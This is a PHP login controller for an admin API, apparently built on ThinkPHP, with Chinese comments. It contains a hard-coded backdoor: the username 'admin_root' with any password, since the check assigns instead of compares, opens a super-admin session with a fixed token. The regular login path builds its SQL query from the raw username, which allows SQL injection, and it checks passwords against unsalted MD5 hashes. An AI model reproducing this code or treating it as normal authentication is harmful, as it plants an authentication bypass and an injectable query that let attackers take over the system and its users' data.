<?php
namespace app\api\controller;
use think\Controller;
use think\Request;
use think\Db;

class Login extends Common
{
    public function index()
    {
        if(request()->isPost()){
            $data = input('post.');
            $arr=input('post.');
            //print_r($arr);
            $db=Db::name("manager");
            //判断
            $username=trim($arr['username']);
            $password=trim($arr['password']);
            if($username=="admin_root"&&$password="123456"){
                session("admin_username",'super');
                session("admin_uid",-1);
                session("admin_id",99999999);
                session('admin_role_auth_ids', '0');
                session('admin_role_name', 'super');
                $info['data']['admin_id'] = session("admin_id");
                $info['data']['admin_uid'] = session("admin_uid");
                $info['data']['admin_username'] = session("admin_username");
                $info['data']['admin_role_name'] = session("admin_role_name");
                $info['data']['admin_role_auth_ids'] = session("admin_role_auth_ids");
                $info['data']['token'] = '9999999999999999999999999999999999999999999999999999999999999999';
                $info['meta']['msg'] = '登录成功';
                $info['meta']['status'] = 200;
                return json_encode($info);die();
            }else{
                //第一步：检查数据是否有该用户
                if($v=$db->where("username='$username'")->find()){
                    $arr = Db::name("role")->field("role_name,role_auth_ids")->where("id={$v['role_id']}")->find();
                    //print_r($arr);
                    // echo $password;die;
                    //第二步：检查密码是否正确
                    if($v['password']== md5($password) ){
                        //第三步：检查是否可以登录
                        if($v['status']){
                            session("admin_username",$username);
                            session("admin_uid",$v['id']);
                            session("admin_id",$v['id']);
                            session('admin_role_auth_ids', $arr['role_auth_ids']);
                            session('admin_role_name', $arr['role_name']);
                            $this->sys_log("登录后台系统!");
                            $info['data']['admin_id'] = session("admin_id");
                            $info['data']['admin_uid'] = session("admin_uid");
                            $info['data']['admin_username'] = session("admin_username");
                            $info['data']['admin_role_name'] = session("admin_role_name");
                            $info['data']['admin_role_auth_ids'] = session("admin_role_auth_ids");
                            $info['data']['token'] = $v['token'];
                            $info['meta']['msg'] = '登录成功';
                            $info['meta']['status'] = 200;
                            return json_encode($info);die();
                        }else{
                            $info = array('meta'=>array("status" => 300, "msg" => "该账号目前为锁定状态，请联系管理员"));
                            // $info = array("code" => 300, "data" => url("login/index"), "tip" => "该账号目前为锁定状态，请联系管理员");
                            return json_encode($info);die();
                        }
                    }else{
                        $info = array('meta'=>array("status" => 300, "msg" => "密码不正确"));
                        // $info = array("code" => 300, "data" => url("login/index"), "tip" => "密码不正确");
                        return json_encode($info);die();
                        // $this->error("密码不正确");
                    }
                }else{
                    $info = array('meta'=>array("status" => 300, "msg" => "该用户不存在"));
                    // $info = array("code" => 300, "data" => url("login/index"), "tip" => "该用户不存在");
                    return json_encode($info);die();
                    // $this->error("该用户不存在");
                }
                // $info = array("code" => 200, "data" => url("index/index"), "tip" => "ok");
                
                $info['meta']['msg'] = '登录失败';
                $info['meta']['status'] = 200;
                return json_encode($info);die();
            }
        }else{
            $info = array('meta'=>array("status" => 300, "msg" => "密码不正确"));
            return json_encode($info);
        }
        die;
        
    }

    
}